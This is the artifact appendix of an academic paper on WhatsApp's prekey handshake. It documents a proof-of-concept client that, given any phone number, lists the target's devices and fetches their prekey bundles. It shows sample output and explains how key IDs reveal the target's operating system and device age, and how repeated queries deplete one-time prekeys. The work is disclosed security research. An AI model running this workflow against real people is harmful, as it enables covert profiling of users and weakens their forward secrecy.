Artifact Appendix: Prekey Pogo: Investigating Security and Privacy Issues in WhatsApp's Handshake Mechanism

Gabriel K. Gegenhuber[1,2], Philipp É. Frenzel[3], Maximilian Günther[1], and Aljosha Judmayer[1]

[1]University of Vienna, Faculty of Computer Science
[2]UniVie Doctoral School Computer Science
[3]SBA Research

A Artifact Appendix

A.1 Abstract

This artifact contains source code demonstrating how to leverage an open-source WhatsApp client (emulating a companion session) to interact with WhatsApp's internal API. The software allows retrieval of a session directory and the corresponding prekey material for any arbitrary phone number.

A.2 Description & Requirements

A.2.1 Security, Privacy, and Ethical Concerns

We want to highlight that all findings (including our corresponding WOOT paper) were reported via Meta's bug bounty program (ticket #10212619137590341) in March 2025. The ticket was closed as a duplicate and Meta neither followed up on our questions, nor requested an embargo for the public release of our findings. To the best of our knowledge, most attacks presented in the paper remain unfixed and should still work. Therefore, this client does not cover all attacks presented in the paper to limit the potential for abuse. We removed any functionality that could be considered as offensive (e.g., prekey depletion via rapid and iterative prekey retrieval and DoS via prekey clogging by overloading the server with concurrent requests) and just provide a PoC which can be used to retrieve prekey bundles manually.

Executing the artifact requires an official WhatsApp account. Using the PoC code with your official WhatsApp account should not lead to any negative consequences, such as a blocked account. Although we did not experience any blocked accounts throughout our entire study, we nevertheless recommend using a test account on a burner phone just to be sure as we of course cannot provide any guarantees/legal advice.

A.2.2 How to Access

The artifact is publicly available at https://github.com/sbaresearch/prekey-pogo/tree/woot25ae

A.2.3 Hardware Dependencies

None. Our scripts can be run on any state-of-the-art computer system (e.g., a personal laptop or a server).

A.2.4 Software Dependencies

During our analysis, we used an Ubuntu 22.04.2 LTS system with golang version 1.24.2. However, to facilitate running the code on arbitrary systems we also provide a containerized solution that can be executed with podman.

A.3 Set-up

The main functionality is implemented in the `pogo.go` file and is built on top of an unofficial open-source WhatsApp client whatsmeow. We provide a setup script (native execution) and a Dockerfile (containerized execution) that automatically sets up the environment (e.g., setting up Go project, installing dependencies, applying minor patches to *whatsmeow*).

A.3.1 Installation

Execution in host OS (requires golang):

```
git clone https://github.com/sbaresearch/prekey-pogo
./setup.sh
go run .
```

Alternatively, containerized version (via podman):

```
git clone https://github.com/sbaresearch/prekey-pogo
podman build -t prekey-pogo .
podman run -it -v ./session:/app/session prekey-pogo:latest
```

A.3.2 Basic Test

After successful execution, the software prints a QR-code that can be used to establish a WhatsApp companion session (similar to WhatsApp Web). To pair the software with a WhatsApp account, the QR code needs to be scanned from the main device (i.e., the official WhatsApp application on Android or iOS). Once successfully paired, the client remembers the previous session and automatically logs into the account during subsequent executions.

After pairing, the available commands can be shown with the *help* command:

```
Enter command (write help to list available commands): help
Available commands:
 (h)elp    -- Show this help message
 (t)arget  -- Update the current target number
 (d)evices -- List existing sessions for the target number
 (p)rekey  -- Retrieve a prekey bundle for the target number
 (c)ombine -- Retrieve prekey bundles for all existing
              sessions of the target number
 (e)xit    -- Exit the program
```

A.4 Evaluation Workflow

At first, we need to set the victim's phone number. Anybody with an active WhatsApp account can be targeted:

```
Enter command: target
Enter the target's phone number (E.164 format): 4367762856471
Target set to 4367762856471@s.whatsapp.net
```

A.4.1 Retrieving the Session Directory

After setting the victim's phone number, we can retrieve their existing sessions (i.e., amount of devices):

```
Enter command: devices
Query devices for 4367762856471@s.whatsapp.net...
Device list for 4367762856471@s.whatsapp.net: [0 8 16]
```

In this case, our victim has three sessions. Index 0 always corresponds to the main device. Other indexes (i.e., index 8 and 16 in this case) are companion sessions.

A.4.2 Retrieving a Prekey Bundle of the Main Device

The client also allows to retrieve a full prekey bundle of the victim's main device. Note that each time the query is sent, one prekey is depleted from the server's prekey stash.

```
Enter command: prekey
Get prekey bundle for main device: 4367762856471@s.whatsapp.net
(string) (len=14) "%#v, error: %v"
(map[types.JID]whatsmeow.preKeyResp) (len=1) {
 (types.JID) 4367762856471@s.whatsapp.net: (preKeyResp) {
  bundle: (*prekey.Bundle)(0xc00031b180)({
   registrationID: (uint32) 1614738185,
   deviceID: (uint32) 0,
   preKeyID: (*optional.Uint32)(0xc0004943b0)({
    Value: (uint32) 297,
    IsEmpty: (bool) false
   }),
   preKeyPublic: (*ecc.DjbECPublicKey)(0xc000178320)({
    publicKey: ([32]uint8) (len=32 cap=32) {
     0000  da 2a 0e 18 a3 20 ef d2  d2 6a e5 ba 52 21 ae 5d
     0010  d8 5f ae 2d 9e a5 4a 56  26 2b 78 de 3e e7 d8 73
    }
   }),
   signedPreKeyID: (uint32) 8143634,
   signedPreKeyPublic: (*ecc.DjbECPublicKey)(0xc0001783c0)({
    publicKey: ([32]uint8) (len=32 cap=32) {
     0000  88 42 86 4d 1d 7d 0c 7e  66 83 92 bd 74 cd 19 72
     0010  37 72 b6 f7 3d be 54 de  5a 3f 78 99 64 64 0c 51
    }
   }),
   signedPreKeySignature: ([64]uint8) (len=64 cap=64) {
    0000  08 20 76 78 d5 72 ac 36  bd a6 4f f2 34 de bd 3a
    0010  91 e3 55 1c b3 b8 aa 78  df b6 53 c5 c8 96 16 f5
    0020  60 3f 28 9d 37 f4 57 6c  0b 45 21 d1 ad 10 79 6e
    0030  a1 d9 40 28 ca b8 f9 c5  25 7b 2b 5f 31 c4 04 85
   },
   identityKey: (*identity.Key)(0xc000115620)({
    publicKey: (*ecc.DjbECPublicKey)(0xc000178400)({
     publicKey: ([32]uint8) (len=32 cap=32) {
      0000  98 74 b3 7b 20 f9 c1 a6  62 86 89 0b b3 dc 83 d0
      0010  ae 62 e6 a4 01 73 7e da  e9 10 11 43 86 b9 6b 4d
     }
    })
   })
  }),
  ts: (time.Time) 2025-05-22 16:12:47 +0200 CEST,
  err: (error) <nil>
 }
}
```

Besides the *deviceID* (0 for main device) and the public key material, the prekey bundle contains IDs (*registrationID*, *signedPreKeyID*, *preKeyID*) that are initialized differently, based on the target's operating system. In our case, the *signedPreKeyID* value 8143634 shows that it the key material was initialized on an iOS device (since it is a very high number, caused by initilization with a random value). On Android phones, the *signedPreKeyID* is initialized with 0 and thus corresponds to the amount of signed prekey rotations. Since the signed prekey is rotated once a month, it provides an estimation for the device age of the victim's phone. In contrast, the *preKeyID* is very low, again confirming that we're dealing with an iOS device. More information regarding characteristic initialization values of different architectures can be found in Table 4 of our paper.

In addition to the key IDs and public keys the prekey bundle also contains a timestamp showing when the prekey bundle was updated. Whenever the device pushes new keys to the server, this value is updated.

A.4.3 Retrieving Prekey Bundles of All Devices

Similar to the previous command, the client also supports requesting prekeys for all devices of the victim:

```
Query devices for 4367762856471@s.whatsapp.net...
Query prekey bundle for all [3] devices:
(string) (len=14) "%#v, error: %v"
```

```
(map[types.JID]whatsmeow.preKeyResp) (len=3) {
(types.JID) 4367762856471:8@s.whatsapp.net: (preKeyResp) {
 bundle: (*prekey.Bundle)(0xc000054b80)({
  registrationID: (uint32) 2216518835,
  deviceID: (uint32) 8,
  preKeyID: (*optional.Uint32)(0xc000124988)({
   Value: (uint32) 0,
   IsEmpty: (bool) true
  }),
  preKeyPublic: (ecc.ECPublicKeyable) <nil>,
  signedPreKeyID: (uint32) 1,
  signedPreKeyPublic: (*ecc.DjbECPublicKey)(0xc000178600)({
   publicKey: ([32]uint8) (len=32 cap=32) {
    0000  aa 82 80 b9 68 be 87 46  9e e8 81 7a ec 22 83 0d
    0010  96 7f 80 24 78 6f bb 8b  7e 3a a4 f5 ea 56 ed 5f
   }
  }),
  signedPreKeySignature: ([64]uint8) (len=64 cap=64) {
   0000  f9 80 4e b5 20 7c c6 ae  2a 78 e2 94 a4 23 f2 a1
   0010  8a 89 ca 0d 88 2c 41 85  e6 fb 1d bc 59 54 66 88
   0020  b8 ad d1 48 f9 5b 23 b0  ea 00 32 c7 d9 58 1f f0
   0030  4a 41 e7 aa 45 b6 45 c9  78 5e ee 95 40 5e 70 0d
  },
  identityKey: (*identity.Key)(0xc0003115e0)({
   publicKey: (*ecc.DjbECPublicKey)(0xc000178620)({
    publicKey: ([32]uint8) (len=32 cap=32) {
     0000  c4 9b 2e 45 79 04 b6 a8  62 96 7a 28 ad 67 07 9a
     0010  4a 8b be 09 73 c8 dd 5a  14 27 1c 20 85 71 05 26
    }
   })
  })
 }),
 ts: (time.Time) 2025-05-22 16:04:00 +0200 CEST,
 err: (error) <nil>
},
(types.JID) 4367762856471:16@s.whatsapp.net: (preKeyResp) {
 bundle: (*prekey.Bundle)(0xc000054c00)({
  registrationID: (uint32) 2281874937,
  deviceID: (uint32) 16,
  preKeyID: (*optional.Uint32)(0xc0003d6700)({
   Value: (uint32) 20,
   IsEmpty: (bool) false
  }),
  preKeyPublic: (*ecc.DjbECPublicKey)(0xc000178660)({
   publicKey: ([32]uint8) (len=32 cap=32) {
    0000  62 c8 78 5e b5 45 fa 32  05 5d 6b ed 43 0f 5e fd
    0010  c8 9c 3c 24 21 9a 0a 2b  08 f4 f1 f7 33 07 90 34
   }
  }),
  signedPreKeyID: (uint32) 1,
  signedPreKeyPublic: (*ecc.DjbECPublicKey)(0xc0001786a0)({
   publicKey: ([32]uint8) (len=32 cap=32) {
    0000  67 37 66 d3 fc 07 a6 03  ae 30 20 2e 0f 5d f0 e5
    0010  93 71 ba b3 7c 0d b1 71  2e c8 a2 6b 3b c3 07 08
   }
  }),
  signedPreKeySignature: ([64]uint8) (len=64 cap=64) {
   0000  76 4f 2c 99 aa 0a 32 a9  df ac 26 fc 86 a3 dd 32
   0010  c2 be c1 ca 34 73 33 41  c4 11 4d 39 0b 69 b9 15
   0020  0e cd f4 e6 1f 1b c0 2a  09 e5 76 28 1d 53 d1 03
   0030  cb 0a f9 a0 dc 65 60 6a  22 0a ff d9 77 b2 f5 86
  },
  identityKey: (*identity.Key)(0xc0003115f0)({
   publicKey: (*ecc.DjbECPublicKey)(0xc0001786c0)({
    publicKey: ([32]uint8) (len=32 cap=32) {
     0000  bf 6c 7e e9 11 2a 8b d0  89 f6 c7 dd 5e 0e 1a b1
     0010  6d d2 b6 0b 54 5e 35 a0  0b 12 87 c8 ec 35 5c 71
    }
   })
  })
 }),
 ts: (time.Time) 2025-05-26 23:41:29 +0200 CEST,
 err: (error) <nil>
},
(types.JID) 4367762856471@s.whatsapp.net: (preKeyResp) {
 bundle: (*prekey.Bundle)(0xc000054c80)({
  registrationID: (uint32) 1614738185,
  deviceID: (uint32) 0,
  preKeyID: (*optional.Uint32)(0xc0003d6728)({
   Value: (uint32) 578,
   IsEmpty: (bool) false
  }),
  preKeyPublic: (*ecc.DjbECPublicKey)(0xc0001786e0)({
   publicKey: ([32]uint8) (len=32 cap=32) {
    0000  9a c1 cd 81 4e af 4c 4a  74 b2 50 c1 2b 03 81 e2
    0010  f5 d5 69 5d c9 8a ea 4a  c5 37 00 cc de a6 ba 0c
   }
  }),
  signedPreKeyID: (uint32) 8143634,
  signedPreKeyPublic: (*ecc.DjbECPublicKey)(0xc000178720)({
   publicKey: ([32]uint8) (len=32 cap=32) {
    0000  88 42 86 4d 1d 7d 0c 7e  66 83 92 bd 74 cd 19 72
    0010  37 72 b6 f7 3d be 54 de  5a 3f 78 99 64 64 0c 51
   }
  }),
  signedPreKeySignature: ([64]uint8) (len=64 cap=64) {
   0000  08 20 76 78 d5 72 ac 36  bd a6 4f f2 34 de bd 3a
   0010  91 e3 55 1c b3 b8 aa 78  df b6 53 c5 c8 96 16 f5
   0020  60 3f 28 9d 37 f4 57 6c  0b 45 21 d1 ad 10 79 6e
   0030  a1 d9 40 28 ca b8 f9 c5  25 7b 2b 5f 31 c4 04 85
  },
  identityKey: (*identity.Key)(0xc000311600)({
   publicKey: (*ecc.DjbECPublicKey)(0xc000178740)({
    publicKey: ([32]uint8) (len=32 cap=32) {
     0000  98 74 b3 7b 20 f9 c1 a6  62 86 89 0b b3 dc 83 d0
     0010  ae 62 e6 a4 01 73 7e da  e9 10 11 43 86 b9 6b 4d
    }
   })
  })
 }),
 ts: (time.Time) 2025-05-22 16:12:47 +0200 CEST,
 err: (error) <nil>
}
}
(interface {}) <nil>
```

In this case, the first device in the response (`4367762856471:8`) has its prekey *IsEmpty* value set to true, thus there are no more one-time prekeys saved on the server for this device. Thereby, the Perfect Forward Secrecy (PFS) will be degraded for any new conversations to this device.

A.5 Notes on Reusability

Our PoC is written in Go and builds on top of whatsmeow. However, there are similar open-source WhatsApp clients, such as Baileys (JavaScript/TypeScript) and Cobalt (Java/Kotlin). Moreover, CobaltAnalyzer (Java/Kotlin) is a useful tool to capture and inspect the (unencrypted) traffic of your legitimate WhatsApp Web browser sessions.

A.6 Version

Based on the LaTeX template for Artifact Evaluation V20231005. Submission, reviewing and badging methodology followed for the evaluation of this artifact can be found at `https://secartifacts.github.io/woot2025/`.